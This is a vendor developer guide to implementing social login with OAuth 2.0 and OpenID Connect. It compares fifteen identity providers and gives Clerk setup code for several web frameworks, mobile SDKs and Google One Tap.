Creating new accounts is one of the highest-friction points in user onboarding. A [2012 Janrain/Blue Research study](https://www.mediapost.com/publications/article/165832/social-login-preferred-to-site-registration.html) (616 respondents) found that 86% of users reported being bothered by having to create new accounts on websites. This friction persists, as research from the [Baymard Institute](https://baymard.com/lists/cart-abandonment-rate) found 19% of users abandon purchases specifically because a site required them to create an account, making forced account creation one of the top reasons for checkout abandonment behind unexpected costs (39%) and slow delivery (21%). Social login eliminates this friction, as users tap a button, confirm consent, and they're in.

Beyond convenience, social login gives developers access to verified identity data (email, name, profile photo) without building email verification flows from scratch, and shifts the password security burden to providers with dedicated security teams.

### OAuth 2.0: The Authorization Framework

OAuth 2.0 ([RFC 6749](https://datatracker.ietf.org/doc/html/rfc6749)) is the authorization framework that powers social login. For web and mobile applications, the recommended implementation is the **[Authorization Code flow](/glossary#authorization-code-flow) with [PKCE](/glossary#code-exchange-pkce)**. It works like this:

1. Your app redirects the user to the provider's authorization endpoint.
2. The user authenticates and grants consent,
3. The provider redirects back to your app with a short-lived **authorization code**.
4. Your backend exchanges that code (plus your [client secret](/glossary#client-secret)) for tokens.
5. The authorization code is exchanged for tokens, using PKCE. For server-rendered web apps, your backend performs the exchange and authenticates the client (typically with a client secret). For mobile apps and SPAs (public clients), the app performs the PKCE exchange without a client secret.

OAuth 2.0 is fundamentally about [**authorization**](/glossary#authorization), granting your app permission to access the user's data at the provider. It does not, by itself, tell you *who* the user is.

### OIDC: Adding Authentication on Top

([OpenID Connect (OIDC)](/glossary/openid-connect)) is a thin identity layer built on top of OAuth 2.0. It adds a standardized **ID token**, a signed [JWT](/glossary#json-web-token) containing identity claims, so your application can verify who the user is, not just what they've authorized.

Key OIDC claims returned in the ID token:

| Claim            | Description                                   |
| ---------------- | --------------------------------------------- |
| `sub`            | Unique, stable user identifier                |
| `email`          | User's email address                          |
| `email_verified` | Whether the provider has confirmed this email |
| `name`           | Full display name                             |
| `picture`        | Profile photo URL                             |

The standard OIDC scopes that control which claims are returned:

| Scope     | Returns                                                          |
| --------- | ---------------------------------------------------------------- |
| `openid`  | Required for OIDC; returns `sub`                                 |
| `email`   | Returns `email` and `email_verified`                             |
| `profile` | Returns `name`, `picture`, `given_name`, `family_name`, `locale` |

**The key distinction:** OAuth 2.0 answers "what can this app access?" while OIDC answers "who is this user?" For social login, you need both — OAuth 2.0 for the flow mechanics, and OIDC for the identity data.

The upcoming OAuth 2.1 draft specification consolidates current best practices by making [PKCE](#pkce-proof-key-for-code-exchange) mandatory for all clients and formally removing the implicit flow. For a deeper dive into the protocols, see the [OAuth 2.0 specification](https://datatracker.ietf.org/doc/html/rfc6749) and the [OpenID Connect Core spec](https://openid.net/specs/openid-connect-core-1_0.html).

## Choosing the Right Identity Providers

Not all social providers are equal. They differ in setup complexity, the data they return, their protocol compliance, and the audiences they serve. The table below covers 15 common providers, but is not an exhaustive list. Clerk supports [28+ social providers](/docs/guides/configure/auth-strategies/social-connections/overview) with custom OIDC support for any provider not listed. Other auth services vary in coverage; see the [auth service support matrix](#provider-support-by-auth-service) below.

### Provider Comparison

| Provider    | Scopes for Login                        | Setup Complexity                             | OIDC | Unique Considerations                                                                                                                                                 |
| ----------- | --------------------------------------- | -------------------------------------------- | ---- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Google      | `openid email profile`                  | Low (free, Google Cloud Console)             |      | FedCM mandatory for GIS since Aug 2025, One Tap available, 100-user testing limit                                                                                     |
| GitHub      | `user:email`                            | Low (free, Developer Settings)               |      | No ID token, single callback URL per OAuth app, classic tokens don't expire                                                                                           |
| Apple       | `name email`                            | High ($99/yr, ES256 client secret JWT)       |      | Name only on first auth, Hide My Email relay, `response_mode=form_post` required                                                                                      |
| Microsoft   | `openid profile email`                  | Low (free, Microsoft Entra admin center)     |      | Multi-tenant config required, [add `xms_edov` optional claim](https://learn.microsoft.com/en-us/entra/identity-platform/optional-claims-reference) for verified email |
| Facebook    | `public_profile`, `email`               | Low (free, Meta Developer Portal)            |      | `public_profile` auto-granted, App Review required for advanced scopes only                                                                                           |
| Discord     | `identify`, `email`                     | Low (free, Discord Developer Portal)         |      | No full OIDC discovery endpoint, popular for gaming/community apps                                                                                                    |
| LinkedIn    | `openid profile email`                  | Low (free, LinkedIn Developer Portal)        |      | Migrated to standard OIDC in 2023, pairwise subject identifiers                                                                                                       |
| GitLab      | `openid profile email`                  | Low (free, works with self-hosted instances) |      | Group/role claims available, supports self-hosted GitLab                                                                                                              |
| Slack       | `openid email profile`                  | Low (free, Slack API portal)                 |      | "Sign in with Slack" (OIDC) is separate from "Add to Slack" (bot install)                                                                                             |
| Twitch      | `openid`, `user:read:email`             | Low (free, Twitch Developer Console)         |      | Email requires explicit `claims` parameter in auth request                                                                                                            |
| X (Twitter) | `users.read`, `users.email`             | Low (free tier supports OAuth login)         |      | Email available via `users.email` scope (since April 2025), PKCE mandatory, "Request email from users" must be enabled in Developer dashboard                         |
| Coinbase    | `wallet:user:read`, `wallet:user:email` | Limited (new apps require partner approval)  |      | Web3/crypto niche, scopes use comma separation                                                                                                                        |
| Linear      | `read`                                  | Low (free, Linear settings)                  |      | GraphQL-only API for user data, project management niche                                                                                                              |
| Notion      | Capability-based                        | Low (free, Notion integrations portal)       |      | Page-level access consent, not traditional scope-based auth                                                                                                           |
| Vercel      | `openid email profile`                  | Low (free, Vercel dashboard)                 |      | Developer-focused, relatively new feature                                                                                                                             |

### Google

Google is the recommended starting provider. According to the [Okta/Auth0 "Going Deep with Social Login" report](https://www.okta.com/sites/default/files/2023-06/GoingDeepwithSocialLogin-Whitepaper-20230601-Final.pdf) (June 2023), Google accounts for approximately 75% of social logins across their platform. In Google's published case studies, individual implementations of Google One Tap saw significant signup improvements:

- [Reddit](https://developers.google.com/identity/sign-in/case-studies/reddit) reported a 90% desktop signup uplift
- [Pinterest](https://developers.google.com/identity/sign-in/case-studies/pinterest) saw a 47% improvement on web and mobile web

Google's [Federated Credential Management (FedCM)](https://developers.google.com/identity/gsi/web/guides/fedcm-migration) API [became mandatory](https://developers.google.com/identity/sign-in/web/gsi-with-fedcm) specifically for Google Identity Services (GIS) in August 2025, replacing the previous cross-origin iframe approach. After this date, any `use_fedcm` settings are ignored and FedCM is always used. If you're implementing Google login directly, your integration must support FedCM. Clerk's [`<GoogleOneTap />`](/docs/nextjs/reference/components/authentication/google-one-tap) component has FedCM support enabled by default (`fedCmSupport` defaults to `true`).

Apps in Google's "testing" mode are limited to 100 test users. You'll need to set your app to "In production" and complete the [consent screen](/glossary#consent-screen) verification before launch.

### GitHub

GitHub is essential for developer-facing applications. Unlike Google and Apple, GitHub's OAuth implementation is **not OIDC-compliant**, it does not return an ID token. Instead, you must call the GitHub `/user` API endpoint to retrieve profile data after obtaining an [access token](/glossary#access-token). (Note: GitHub does support OIDC for GitHub Actions, but that's a separate use case unrelated to social login.)

Token expiration varies by app type: classic OAuth App tokens have [no time-based expiry](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation), meaning are revoked after one year of inactivity, manual revocation, or if exposed in a public repository. GitHub App user tokens expire after 8 hours by default and include [refresh tokens](/glossary#refresh-token).

One important limitation: GitHub [OAuth Apps support only a single callback URL](https://docs.github.com/en/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app) per app, meaning you'll need separate OAuth app registrations for development, staging, and production environments.

### Apple

In January 2024, Apple revised [App Store Guideline 4.8](https://developer.apple.com/app-store/review/guidelines/) so that apps using third-party login no longer must specifically offer sign-in with Apple, but must provide an equivalent privacy-focused login option that limits data collection to name and email and allows private email usage.

Apple Sign in has the most complex setup of the three providers, requiring an Apple Developer Program membership ($99/year), a primary App ID, a Services ID for web, domain verification, and a private key for generating ES256-signed JWT client secrets.

A critical implementation detail: Apple returns the user's name and email **only during the first authorization**. If you fail to capture and persist this data on the initial sign-in, it cannot be retrieved again without the user revoking and re-authorizing your app. Apple's Hide My Email feature generates unique `@privaterelay.appleid.com` addresses per user per app, which won't match existing account emails.

### Microsoft

Microsoft is the top choice for enterprise and B2B applications. It's fully OIDC-compliant via the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc) and supports three tenant configurations: single-tenant (one org only), multi-tenant (any Azure AD org), or personal Microsoft accounts. Microsoft Entra External ID provides 50,000 free MAU for consumer-facing apps.

Since June 2023, Microsoft [removes email addresses with unverified domain owners](https://learn.microsoft.com/en-us/entra/identity-platform/optional-claims-reference) from tokens for multi-tenant apps by default (see the [breaking changes documentation](https://learn.microsoft.com/en-us/entra/identity-platform/reference-breaking-changes) for details on this policy change). To get verified email status, add the [`xms_edov` optional claim](https://learn.microsoft.com/en-us/entra/identity-platform/optional-claims) in your app's Token Configuration. This boolean indicates whether the email domain owner has been verified. Clerk's [Microsoft configuration guide](/docs/guides/configure/auth-strategies/social-connections/microsoft) walks through this setup and recommends enabling `xms_edov` to protect against nOAuth [account takeover](/glossary#account-takeover) exploits. Not all Microsoft accounts have an email address — your app should handle the missing `email` claim gracefully.

### Facebook

Facebook remains one of the most widely used social login providers globally, particularly outside the US. The `public_profile` scope is auto-granted to all apps, and basic login with `email` does not require Meta's App Review process. However, requesting permissions beyond `public_profile` and `email` triggers a review that includes a video walkthrough and usage justification. Facebook's web OAuth flow is standard OAuth 2.0, not full OIDC (Limited Login with OIDC tokens is available only on iOS).

### Discord

Discord is the standard social login for gaming, community, and creator-focused applications. Setup is free via the [Discord Developer Portal](https://docs.discord.com/developers/topics/oauth2). Discord uses standard OAuth 2.0 with `identify` and `email` scopes but does not provide a full OIDC discovery endpoint. It's widely supported: Clerk, Auth0 (Marketplace), Supabase, and Auth.js all have built-in support. Firebase Auth and WorkOS do not.

### LinkedIn OIDC

LinkedIn completed its migration from proprietary OAuth scopes to [standard OIDC](https://learn.microsoft.com/en-us/linkedin/consumer/integrations/self-serve/sign-in-with-linkedin-v2) in 2023. The old `r_liteprofile` and `r_emailaddress` scopes are deprecated — use `openid profile email` instead. LinkedIn uses pairwise subject identifiers (the `sub` claim is unique per application). It's a strong choice for professional networking and B2B SaaS. Supported by Clerk, Auth0, Supabase, WorkOS, and Auth.js. Firebase Auth does not have native LinkedIn support.

### GitLab

GitLab functions as both a social provider and an OIDC identity provider with [full discovery support](https://docs.gitlab.com/integration/openid_connect_provider/). A unique advantage: it works with self-hosted GitLab instances, letting teams use their own GitLab server as the identity provider. GitLab returns group/role claims (`owner`, `maintainer`, `developer`), making it useful for [RBAC](/glossary#role-based-access-control-rbac) in developer tools. Supported by Clerk, Supabase, WorkOS, and Auth.js. Auth0 requires a custom social connection. Firebase Auth does not have native support.

### Slack

Slack offers a fully [OIDC-compliant "Sign in with Slack"](https://docs.slack.dev/authentication/sign-in-with-slack/) flow, separate from the "Add to Slack" bot installation flow — these two flows cannot be combined in a single OAuth request. The OIDC flow uses `openid email profile` scopes and returns Slack-specific claims like `team_id` and workspace context. Useful for workplace and productivity tools where users already have Slack accounts. Supported by Clerk, Auth0 (Marketplace), Supabase, WorkOS, and Auth.js. Firebase Auth does not have native support.

### Twitch

Twitch provides [OIDC support](https://dev.twitch.tv/docs/authentication/getting-tokens-oidc/) with standard claims, but email retrieval requires both the `user:read:email` scope and an explicit `claims` parameter in the authorization request, which is not included by default. Best suited for streaming, gaming, and creator platforms. Twitch enforces scope minimalism: requesting unnecessary scopes may result in API access suspension. Supported by Clerk, Auth0 (Marketplace), Supabase, and Auth.js. Firebase Auth and WorkOS do not have native support.

### X (Twitter)

As of [April 2025](https://devcommunity.x.com/t/announcing-support-for-email-address-retrieval-with-oauth-2-0-in-the-x-api-v2/240555), X supports email retrieval via the `confirmed_email` field on the `/2/users/me` endpoint using the `users.email` scope. To enable this, you must turn on "Request email from users" in the X Developer dashboard under your app's User authentication settings. The free API tier supports the `/2/users/me` endpoint for OAuth social login (with rate limits); the $200/month Basic tier is required for general API read access, not for OAuth login itself. PKCE is mandatory for all OAuth 2.0 flows. X uses OAuth 2.0 only (not OIDC). Supported by Clerk, Auth0, Firebase Auth, Supabase, and Auth.js. WorkOS does not have native support.

### Coinbase

Coinbase is a niche provider for Web3 and cryptocurrency applications. It uses [OAuth 2.0 with PKCE](https://docs.cdp.coinbase.com/coinbase-app/authentication-authorization/oauth2/oauth2) and returns basic profile data. One major limitation: new OAuth client creation is currently limited to approved partners. Existing integrations continue to work, but new apps must apply through Coinbase's partner request process. Scopes use comma separation instead of spaces. Supported by Clerk and Auth.js only; other auth services require custom OAuth configuration.

### Linear

Linear is a project management tool popular with engineering teams. Its OAuth flow grants a `read` scope by default and uses a [GraphQL-only API](https://linear.app/developers/oauth-2-0-authentication) — there is no REST userinfo endpoint. You must query the `viewer` field via GraphQL to retrieve user data after authentication. Access tokens are valid for 24 hours. Clerk is the only major auth service with built-in Linear support.

### Notion

Notion's OAuth is designed primarily for workspace and page access, not user authentication. Instead of traditional scopes, it uses a [capability-based model](https://developers.notion.com/docs/authorization) where users choose which pages and databases to share during consent. User profile data (name, email, avatar) is returned in the token exchange response rather than a separate userinfo endpoint. Supported by Clerk, Supabase, and Auth.js.

### Vercel

Vercel offers [Sign in with Vercel](https://vercel.com/docs/sign-in-with-vercel) as a fully OIDC-compliant social login option. It uses standard `openid email profile` scopes and returns ID tokens with standard claims. Access tokens are valid for 1 hour; refresh tokens last 30 days with rotation. This is a relatively new feature and is developer-focused — useful for tools that integrate with the Vercel ecosystem. Clerk is the primary auth service with [built-in Vercel support](/docs/guides/configure/auth-strategies/social-connections/vercel).

### Provider Support by Auth Service

Not all auth services support every provider. This matrix shows built-in support. Some providers marked "No" may still be usable via custom OAuth/OIDC configuration where the auth service supports it.

| Provider    | Clerk |  Auth0 | Firebase Auth | Supabase Auth | WorkOS | Auth.js |
| ----------- | :---: | :----: | :-----------: | :-----------: | :----: | :-----: |
| Google      |       |        |               |               |        |         |
| GitHub      |       |        |               |               |        |         |
| Apple       |       |        |               |               |        |         |
| Microsoft   |       |        |               |               |        |         |
| Facebook    |       |        |               |               |        |         |
| Discord     |       |        |               |               |        |         |
| LinkedIn    |       |        |               |               |        |         |
| GitLab      |       | Custom |               |               |        |         |
| Slack       |       |        |               |               |        |         |
| Twitch      |       |        |               |               |        |         |
| X (Twitter) |       |        |               |               |        |         |
| Coinbase    |       | Custom |               |               |        |         |
| Linear      |       |        |               |               |        |         |
| Notion      |       |        |               |               |        |         |
| Vercel      |       | Custom |               |               |        |         |

Clerk supports all 15 providers listed above as built-in social connections, plus 13 additional providers (28 total). See the full list in the [Social connections overview](/docs/guides/configure/auth-strategies/social-connections/overview).

### Provider Decision Tree

For AI agents and developers choosing providers, this table maps application types to recommended provider combinations:

| App Type                  | Recommended Providers     | Reasoning                                                                                 |
| ------------------------- | ------------------------- | ----------------------------------------------------------------------------------------- |
| Consumer web app          | Google + Apple            | Covers the broadest user base; Apple required if you have an iOS companion app            |
| Developer tools / SaaS    | Google + GitHub           | GitHub identity is the standard for developer audiences; add GitLab for self-hosted teams |
| Enterprise / B2B          | Google + Microsoft        | Corporate Google Workspace and Azure AD/Entra ID accounts                                 |
| Global consumer app       | Google + Apple + Facebook | Facebook remains dominant in non-US markets                                               |
| Gaming / community        | Google + Discord          | Discord is the dominant identity for gaming and creator communities                       |
| Streaming / creator       | Google + Twitch           | Twitch identity for streaming platforms; add Discord for community features               |
| Professional / recruiting | Google + LinkedIn         | LinkedIn for professional identity and B2B networking apps                                |
| Workplace tools           | Google + Slack            | Slack for apps used alongside existing Slack workspaces                                   |
| Web3 / crypto             | Google + Coinbase         | Coinbase for crypto-native audiences (note: new OAuth apps currently suspended)           |
| Project management        | Google + Linear or Notion | Linear for engineering teams; Notion for cross-functional teams                           |

### How Many Providers Should You Support?

Limiting social login options to 2–3 providers avoids the "[NASCAR problem](https://indieweb.org/NASCAR_problem)" — a wall of provider buttons that creates decision paralysis rather than convenience. This follows [Hick's Law](https://lawsofux.com/hicks-law/): the time to make a decision increases logarithmically with the number of choices. More providers also increase "which one did I use?" confusion on return visits.

[Clerk's](/pricing) free tier includes 3 social providers with 50,000 [Monthly Retained Users (MRU)](/glossary#monthly-retained-users-mrus). The Pro plan ($20/month billed annually, $25/month billed monthly) unlocks unlimited social providers, with overage pricing at $0.02/MRU beyond the included 50K — significantly lower than Auth0's $0.07/MAU overage.

Always offer a fallback authentication method for users who prefer not to use social login. Email/password, [email OTP](/glossary#email-otp), or [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys) are examples of complementary options.

## Implementing Social Login with Clerk

Clerk provides prebuilt UI components and SDK hooks that handle the complete OAuth/OIDC flow — authorization redirects, token exchange, [session management](/glossary#session-management), and [account linking](/glossary#account-linking) — across 10+ frameworks. The `<SignIn />` component renders provider-specific buttons with appropriate logos and labeling.

### Dashboard Configuration

Before writing any code, configure your social providers in the Clerk Dashboard under the [**SSO connections**](/docs/guides/configure/auth-strategies/social-connections/overview) page. This page includes both social and enterprise connections since October 2024.

In **development mode**, Clerk provides pre-configured shared OAuth credentials for all social providers, enabling zero-config testing — you can even use [keyless mode](/docs/deployments/overview#keyless-mode) to skip API key setup entirely during initial development. For production, you'll need to create your own OAuth app credentials with each provider and enter the Client ID and Client Secret in the Clerk Dashboard.

Each provider has a dedicated configuration guide in the Clerk docs. The shared development credentials let you start testing social login immediately without any provider setup.

### Next.js 16

Next.js 16 uses [`proxy.ts`](https://nextjs.org/docs/app/getting-started/project-structure#top-level-files) (which replaces and deprecates `middleware.ts`). The Clerk Next.js SDK integrates with this new pattern.

Install the SDK:

```bash
npm install @clerk/nextjs
```

Set up the [environment variables](/glossary#environment-variables) in `.env.local`:

```bash
NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

Add [`ClerkProvider`](/glossary#clerkprovider) to your root layout to make authentication state available throughout the app:

```tsx
// src/app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>{children}</ClerkProvider>
      </body>
    </html>
  )
}
```

Create `proxy.ts` at the project root with Clerk's middleware:

```typescript
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()
```

Now add the `<SignIn />` component. This single component renders all configured social provider buttons plus any other enabled authentication methods:

```tsx
// src/app/sign-in/[[...sign-in]]/page.tsx
import { SignIn } from '@clerk/nextjs'

export default function SignInPage() {
  return <SignIn />
}
```

### React (Vite / SPA)

For client-side React SPAs, the `@clerk/react` package provides the same components and hooks without server-side dependencies.

```bash
npm install @clerk/react
```

Wrap your app with `ClerkProvider` using the publishable key (no secret key needed for SPAs):

```tsx
// src/main.tsx
import { ClerkProvider } from '@clerk/react'

const PUBLISHABLE_KEY = import.meta.env.VITE_CLERK_PUBLISHABLE_KEY

function App() {
  return <ClerkProvider publishableKey={PUBLISHABLE_KEY}>{/* your app routes */}</ClerkProvider>
}
```

The `<SignIn />` component works identically to the Next.js version:

```tsx
import { SignIn } from '@clerk/react'

export default function SignInPage() {
  return <SignIn />
}
```

### Vue

The `@clerk/vue` package provides Vue-native components and composables.

```bash
npm install @clerk/vue
```

Register the Clerk plugin in your Vue app:

```typescript
// src/main.ts
import { createApp } from 'vue'
import { clerkPlugin } from '@clerk/vue'
import App from './App.vue'

const app = createApp(App)
app.use(clerkPlugin, {
  publishableKey: import.meta.env.VITE_CLERK_PUBLISHABLE_KEY,
})
app.mount('#app')
```

Use the `<SignIn />` component in your template:

```vue
<script setup lang="ts">
import { SignIn } from '@clerk/vue'
</script>

<template>
  <SignIn />
</template>
```

> **Note:** For Vue SSR with Nuxt, Clerk provides [`@clerk/nuxt`](/docs/quickstarts/nuxt). The Nuxt SDK includes `clerkMiddleware()` for server-side API route protection and `defineNuxtRouteMiddleware()` with `useAuth()` for client-side page protection. Note that `clerkMiddleware()` is [not recommended for page protection](/docs/reference/nuxt/clerk-middleware) as it only runs on initial page load — client-side navigation bypasses server middleware. The examples above use `@clerk/vue` for client-side SPAs.

### Astro

The `@clerk/astro` package integrates with Astro's island architecture.

```bash
npm install @clerk/astro
```

Add the Clerk integration to your Astro config:

```typescript
// astro.config.mjs
import { defineConfig } from 'astro/config'
import clerk from '@clerk/astro'

export default defineConfig({
  integrations: [clerk()],
})
```

Create `middleware.ts` at the project root with Clerk middleware (Astro uses its own middleware pattern):

```typescript
// src/middleware.ts
import { clerkMiddleware } from '@clerk/astro/server'

export const onRequest = clerkMiddleware()
```

Astro requires an SSR adapter and both environment keys (`PUBLIC_CLERK_PUBLISHABLE_KEY` and `CLERK_SECRET_KEY`). The `<SignIn />` component is imported from a dedicated path:

```astro
---
import { SignIn } from '@clerk/astro/components'
---

<SignIn />
```

### React Router

The `@clerk/react-router` package integrates Clerk with React Router 7 in framework mode — the successor to Remix. Since Remix merged into React Router 7, `@clerk/react-router` is now the recommended package for both new React Router projects and migrations from Remix (`@clerk/remix` is in maintenance mode, receiving security updates only).

```bash
npm install @clerk/react-router
```

React Router middleware requires opting in via a future flag. Add it to `react-router.config.ts`:

```typescript
// react-router.config.ts
import type { Config } from '@react-router/dev/config'

export default {
  ssr: true,
  future: {
    v8_middleware: true,
  },
} satisfies Config
```

In `app/root.tsx`, configure `clerkMiddleware()` for route protection and `rootAuthLoader()` to pass authentication state to the client. Then wrap the app with `ClerkProvider`, passing the `loaderData` prop:

```tsx
// app/root.tsx
import { ClerkProvider } from '@clerk/react-router'
import { Outlet } from 'react-router'
import { clerkMiddleware, rootAuthLoader } from '@clerk/react-router/server'
import type { Route } from './+types/root'

export const middleware: Route.MiddlewareFunction[] = [clerkMiddleware()]
export const loader = (args: Route.LoaderArgs) => rootAuthLoader(args)

export default function App({ loaderData }: Route.ComponentProps) {
  return (
    <ClerkProvider loaderData={loaderData}>
      <Outlet />
    </ClerkProvider>
  )
}
```

Create a sign-in route using a React Router splat route:

```tsx
// app/routes/sign-in.tsx
import { SignIn } from '@clerk/react-router'

export default function SignInPage() {
  return <SignIn />
}
```

### TanStack Start

The `@clerk/tanstack-react-start` package provides Clerk integration for TanStack Start.

```bash
npm install @clerk/tanstack-react-start
```

Add `ClerkProvider` in your root route (`__root.tsx`), configure `clerkMiddleware()` in `src/start.ts`, and create a splat route for the sign-in page:

```tsx
// src/routes/sign-in.$.tsx
import { SignIn } from '@clerk/tanstack-react-start'

function SignInPage() {
  return <SignIn />
}
```

> **Note:** `@clerk/tanstack-react-start` is currently v0.x. While functional and documented in [Clerk's official guides](/docs/quickstarts/tanstack-start), it may receive breaking changes before reaching v1.0.

### Cross-Framework Pattern Summary

| Framework      | Package                       | Provider Setup        | Middleware          | SignIn Import                 | Secret Key Required |
| -------------- | ----------------------------- | --------------------- | ------------------- | ----------------------------- | ------------------- |
| Next.js 16     | `@clerk/nextjs`               | `ClerkProvider`       | `proxy.ts`          | `@clerk/nextjs`               |                     |
| React (SPA)    | `@clerk/react`                | `ClerkProvider`       | None                | `@clerk/react`                |                     |
| Vue            | `@clerk/vue`                  | `clerkPlugin`         | None                | `@clerk/vue`                  |                     |
| Astro          | `@clerk/astro`                | `clerk()` integration | `src/middleware.ts` | `@clerk/astro/components`     |                     |
| React Router   | `@clerk/react-router`         | `ClerkProvider`       | `clerkMiddleware()` | `@clerk/react-router`         |                     |
| TanStack Start | `@clerk/tanstack-react-start` | `ClerkProvider`       | `src/start.ts`      | `@clerk/tanstack-react-start` |                     |

The pattern is consistent across all frameworks: install the SDK, wrap your app with a provider, optionally add middleware for server-side auth, and drop in the `<SignIn />` component. Clerk handles the OAuth redirects, token exchange, session creation, and account linking behind the scenes.

This adapter pattern — where the same authentication API surface (`<SignIn />`, `useSignIn()`, `authenticateWithRedirect()`) is exposed through framework-specific adapters — means authentication logic stays portable across frameworks. Migrating from React to Vue, for example, requires only changing the import paths, not rewriting the auth flow.

### Native Mobile SDKs

Clerk's social login support extends beyond web frameworks to native mobile platforms. Each mobile SDK provides social authentication through platform-appropriate patterns — native system dialogs where available, and browser-based OAuth flows as the fallback.

| Platform            | Package                                  | UI Components                                         | Social Login Pattern                                                                                                | Status                                                 |
| ------------------- | ---------------------------------------- | ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |
| React Native / Expo | `@clerk/expo`                            | Control components (native); UI components (Expo web) | Native Apple Sign-in via `useSignInWithApple()`; browser-based OAuth for other providers                            | GA                                                     |
| iOS (Swift)         | `ClerkKit` + `ClerkKitUI`                | `AuthView` (prebuilt sign-in/sign-up)                 | Native Apple Sign-in; browser-based OAuth for Google and others                                                     | GA                                                     |
| Android (Kotlin)    | `clerk-android-api` + `clerk-android-ui` | Prebuilt sign-in/sign-up views                        | [Native Google Sign-in](/docs/guides/configure/auth-strategies/sign-in-with-google); browser-based OAuth for others | GA ([Sept 2025](/changelog/2025-09-11-android-sdk-ga)) |
| Flutter (Dart)      | `clerk_flutter` + `clerk_auth`           | In development                                        | Social login supported                                                                                              | [Beta](/changelog/2025-03-26-flutter-sdk-beta)         |

**Expo (React Native):** The `@clerk/expo` package provides the same `useSignIn()` hook pattern as the web SDKs. For Apple, the dedicated [`useSignInWithApple()`](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple) hook uses Apple's native authorization to provide the OpenID token directly to Clerk — no browser redirect needed.

```typescript
// Expo - Native Apple Sign-in
import { useSignInWithApple } from '@clerk/expo'

export function AppleSignInButton() {
  const { signInWithApple, isLoaded } = useSignInWithApple()

  const onPress = async () => {
    if (!isLoaded) return
    try {
      const { createdSessionId, setActive } = await signInWithApple()
      if (createdSessionId) await setActive({ session: createdSessionId })
    } catch (err: any) {
      if (err.errors?.[0]?.code === 'ERR_REQUEST_CANCELED') return
      console.error(err)
    }
  }

  return <Button title="Sign in with Apple" onPress={onPress} />
}
```

The `useSignInWithApple()` hook automatically manages the transfer flow between sign-up and sign-in, so a single component handles both scenarios.

**iOS (Swift):** The [Clerk iOS SDK](/docs/ios/getting-started/quickstart) uses `ClerkKit` and `ClerkKitUI` via Swift Package Manager. The prebuilt [`AuthView`](/docs/ios/reference/views/authentication/auth-view) component handles the complete sign-in/sign-up flow including social providers.

```swift
// iOS - Prebuilt AuthView with social login
import SwiftUI
import ClerkKit
import ClerkKitUI

struct ContentView: View {
  @Environment(Clerk.self) private var clerk
  @State private var showSignIn = false

  var body: some View {
    if clerk.session != nil {
      UserButton()
    } else {
      Button("Sign in") { showSignIn = true }
        .sheet(isPresented: $showSignIn) {
          AuthView()
        }
    }
  }
}
```

The `AuthView` component renders all configured social providers automatically based on your Clerk Dashboard settings — no per-provider code needed.

**Android (Kotlin):** The [Clerk Android SDK](/docs/android/getting-started/quickstart) provides native [Google Sign-in support](/docs/guides/configure/auth-strategies/sign-in-with-google) and prebuilt authentication views.

```kotlin
// Android - Google Sign-in with Clerk
import com.clerk.android.api.models.OAuthProvider
import com.clerk.android.api.models.SignIn

// Trigger Google OAuth flow
scope.launch {
  SignIn.authenticateWithRedirect(
    SignIn.AuthenticateWithRedirectParams.OAuth(
      provider = OAuthProvider.GOOGLE
    )
  )
}
```

The Android SDK reached GA in [September 2025](/changelog/2025-09-11-android-sdk-ga), built with Kotlin and following modern Android development standards including Jetpack Compose support.

**Flutter (Dart):** The official [Clerk Flutter SDK](https://github.com/clerk/clerk-sdk-flutter) entered [public beta in March 2025](/changelog/2025-03-26-flutter-sdk-beta) and is actively maintained (v0.0.14-beta as of February 2026). It includes `clerk_flutter` for Flutter apps and `clerk_auth` for Dart backends, with cross-platform support for iOS, Android, and web.

```dart
// Flutter - Initialize Clerk
import 'package:clerk_flutter/clerk_flutter.dart';

// Clerk initialization happens in your app setup
// Social login is configured through the Clerk Dashboard
// and available through the SDK's authentication methods
```

While the Flutter SDK is in beta and its API surface may change, it demonstrates Clerk's commitment to native mobile platforms. For production Flutter apps requiring a stable SDK, Firebase Auth and Supabase Auth offer GA-level Flutter support today.

### Google One Tap

Google One Tap displays a non-intrusive prompt to users who are already signed into their Google account, allowing them to sign up or sign in with a single click — no redirect, no popup, no password. Google's own case studies report meaningful improvements to conversion:

- [Reddit](https://developers.google.com/identity/sign-in/case-studies/reddit) saw a 90% increase in desktop sign-ups
- [Pinterest](https://developers.google.com/identity/sign-in/case-studies/pinterest) saw a 47% increase in web sign-ups after implementing One Tap

With most authentication providers, adding One Tap means manually loading Google's Identity Services script, initializing the client, handling credential callbacks, managing cryptographic nonces, and wiring everything to your auth backend. Supabase's implementation runs roughly 70 lines of TypeScript including SHA-256 nonce handling. Auth0 and Auth.js lack official One Tap support entirely, requiring community-driven workarounds of 40–80 lines.

Clerk reduces this to a single component. Place [`<GoogleOneTap />`](/docs/nextjs/reference/components/authentication/google-one-tap) in your root layout and it appears on every page:

```tsx
// app/layout.tsx
import { ClerkProvider, GoogleOneTap } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <GoogleOneTap />
          {children}
        </ClerkProvider>
      </body>
    </html>
  )
}
```

The component handles the full lifecycle: it loads the Google Identity Services script, manages the FedCM handshake (enabled by default since August 2025), deals with ITP browser quirks in Safari and Firefox, and automatically hides when the user is already authenticated. For additional control, the component accepts configuration props:

```tsx
<GoogleOneTap cancelOnTapOutside={true} fedCmSupport={true} signUpForceRedirectUrl="/onboarding" />
```

The `fedCmSupport` prop (default: `true`) enables the Federated Credential Management API, which Google now requires for all Identity Services integrations. The `itpSupport` prop (also default: `true`) handles Safari and Firefox's Intelligent Tracking Prevention automatically. These are details that competitors leave to the developer to implement manually.

**Prerequisites:** Enable Google as a [social connection](/docs/guides/configure/auth-strategies/social-connections/google) in the Clerk Dashboard with custom Google credentials from the Google Cloud Console.

